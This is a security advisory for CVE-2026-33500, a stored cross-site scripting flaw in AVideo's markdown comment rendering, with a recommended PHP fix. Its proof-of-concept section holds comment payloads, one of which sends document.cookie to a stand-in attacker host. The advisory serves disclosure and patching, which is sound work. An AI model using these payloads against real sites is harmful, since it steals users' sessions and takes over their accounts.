GHSA-72H5-39R7-R26J

Vulnerability from github – Published: 2026-03-20 20:56 – Updated: 2026-03-25 20:31
VLAI?
Summary
AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization
Details

Summary

The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom ParsedownSafeWithLinks class that sanitizes raw HTML <a> and <img> tags in comments, but explicitly disables Parsedown's safeMode. This creates a bypass: markdown link syntax [text](javascript:alert(1)) is processed by Parsedown's inlineLink() method, which does not go through the custom sanitizeATag() sanitization (that only handles raw HTML tags). With safeMode disabled, Parsedown's built-in javascript: URI filtering (sanitiseElement()/filterUnsafeUrlInAttribute()) is also inactive. An attacker can inject stored XSS via comment markdown links.

Details

The original fix (commit ade348ed6) enabled setSafeMode(true), which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit f13587c59 with a custom approach that turned safeMode back off:

objects/functionsSecurity.php:442-446 — safeMode disabled:

function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);

ParsedownSafeWithLinks (lines 349-440) overrides blockMarkup() and inlineMarkup() to sanitize raw HTML <a> tags via sanitizeATag(), which whitelist-checks the URL scheme:

// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
    $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}

However, this sanitization only runs for raw HTML <a> tags processed through inlineMarkup(). Markdown-syntax links ([text](url)) are handled by Parsedown's core inlineLink() method (vendor/erusev/parsedown/Parsedown.php:1258), which constructs an element array and passes it to element().

vendor/erusev/parsedown/Parsedown.php:1470-1475 — sanitiseElement only runs when safeMode is true:

protected function element(array $Element)
{
    if ($this->safeMode)        // false — so sanitiseElement() is never called
    {
        $Element = $this->sanitiseElement($Element);
    }

sanitiseElement() would have called filterUnsafeUrlInAttribute() which replaces : with %3A for non-whitelisted schemes like javascript:, but it is never invoked.

Data flow: 1. User posts comment containing [Click here](javascript:alert(document.cookie)) 2. xss_esc() applies htmlspecialchars() — no HTML special chars exist in the payload, stored unchanged 3. On retrieval, xss_esc_back() reverses encoding (no-op), then markDownToHTML() converts markdown to <a href="javascript:alert(document.cookie)">Click here</a> 4. Result stored in commentWithLinks (objects/comment.php:420) 5. Rendered directly in DOM via template at view/videoComments_template.php:15: <p>{commentWithLinks}</p>

PoC

  1. Log in as any user with comment permission
  2. Navigate to any video page
  3. Post a comment with the following markdown:
[Click here for more info](javascript:alert(document.cookie))
  1. The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
  2. Clicking the link executes alert(document.cookie) in the victim's browser context

For session hijacking:

[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
  • Scope change (S:C): The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
  • Persistence: The payload is stored in the database and triggers for every user who views the page and clicks the link
  • UI:R required: The victim must click the link, which limits the severity vs. auto-executing XSS

Recommended Fix

Override inlineLink() in ParsedownSafeWithLinks to apply URL scheme filtering to markdown-generated links:

class ParsedownSafeWithLinks extends Parsedown
{
    // ... existing code ...

    protected function inlineLink($Excerpt)
    {
        $Link = parent::inlineLink($Excerpt);

        if ($Link === null) {
            return null;
        }

        $href = $Link['element']['attributes']['href'] ?? '';

        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors
        if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
            $Link['element']['attributes']['href'] = '';
        }

        return $Link;
    }
}

Alternatively, re-enable safeMode(true) and find a different approach to allow <a> and <img> tags (e.g., post-processing the safe output to re-inject whitelisted tags).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:56:52Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown\u0027s `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown\u0027s `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown\u0027s built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown\u0027s built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` \u2014 safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n    $parsedown = new ParsedownSafeWithLinks();\n    $parsedown-\u003esetSafeMode(false);   // line 445 \u2014 disables Parsedown\u0027s built-in javascript: filtering\n    $parsedown-\u003esetMarkupEscaped(false);\n    $html = $parsedown-\u003etext($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `\u003ca\u003e` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 \u2014 only allows http(s), mailto, /, #\nif (preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $url)) {\n    $href = \u0027 href=\"\u0027 . htmlspecialchars($url, ENT_QUOTES) . \u0027\"\u0027;\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `\u003ca\u003e` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown\u0027s core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` \u2014 sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n    if ($this-\u003esafeMode)        // false \u2014 so sanitiseElement() is never called\n    {\n        $Element = $this-\u003esanitiseElement($Element);\n    }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` \u2014 no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick here\u003c/a\u003e`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `\u003cp\u003e{commentWithLinks}\u003c/p\u003e`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim\u0027s browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch(\u0027https://attacker.example/steal?c=\u0027+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user\u0027s session, crossing the trust boundary from the attacker\u0027s low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n    // ... existing code ...\n\n    protected function inlineLink($Excerpt)\n    {\n        $Link = parent::inlineLink($Excerpt);\n\n        if ($Link === null) {\n            return null;\n        }\n\n        $href = $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] ?? \u0027\u0027;\n\n        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n        if ($href !== \u0027\u0027 \u0026\u0026 !preg_match(\u0027/^(https?:\\/\\/|mailto:|\\/|#)/i\u0027, $href)) {\n            $Link[\u0027element\u0027][\u0027attributes\u0027][\u0027href\u0027] = \u0027\u0027;\n        }\n\n        return $Link;\n    }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `\u003ca\u003e` and `\u003cimg\u003e` tags (e.g., post-processing the safe output to re-inject whitelisted tags).",
  "id": "GHSA-72h5-39r7-r26j",
  "modified": "2026-03-25T20:31:32Z",
  "published": "2026-03-20T20:56:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…